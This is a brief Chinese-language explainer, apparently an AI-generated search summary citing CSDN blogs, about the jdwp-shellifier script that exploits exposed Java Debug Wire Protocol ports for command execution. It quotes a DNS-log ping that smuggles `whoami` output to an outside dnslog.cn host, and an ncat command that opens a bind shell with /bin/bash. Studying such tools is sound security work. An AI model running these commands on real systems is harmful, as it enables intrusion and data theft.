jdwp-shellifier

jdwp-shellifier是一个漏洞利用脚本，用于利用Java Debug Wire Protocol (JDWP)的漏洞进行攻击。通过该脚本，攻击者可以执行命令并获取目标系统的访问权限。\[1\]脚本的使用方法包括设置目标IP和端口，以及指定要执行的命令。例如，可以使用"--cmd"参数执行命令"ping http://.`whoami`.yoww7w.dnslog.cn"来查看回显效果，或者使用"--cmd"参数执行命令"whoami"来获取当前用户的信息。\[1\]\[2\]此外，还可以使用"--cmd"参数开启一个后门，使用nc命令进行连接。例如，可以使用"--cmd"参数执行命令"ncat -lvvp 1234 -e /bin/bash"来开启一个监听端口，并使用nc进行连接。\[3\]请注意，使用jdwp-shellifier进行攻击是非法的，且可能导致严重的安全问题。建议只在合法授权的情况下使用该脚本。
#### 引用[.reference_title]
- *1* *2* [JDWP漏洞验证](https://blog.csdn.net/weixin_42380348/article/details/115464387)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item]
- *3* [java JDWP调试接口任意命令执行漏洞](https://blog.csdn.net/tangshuangsss/article/details/121987666)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item]
[ .reference_list ]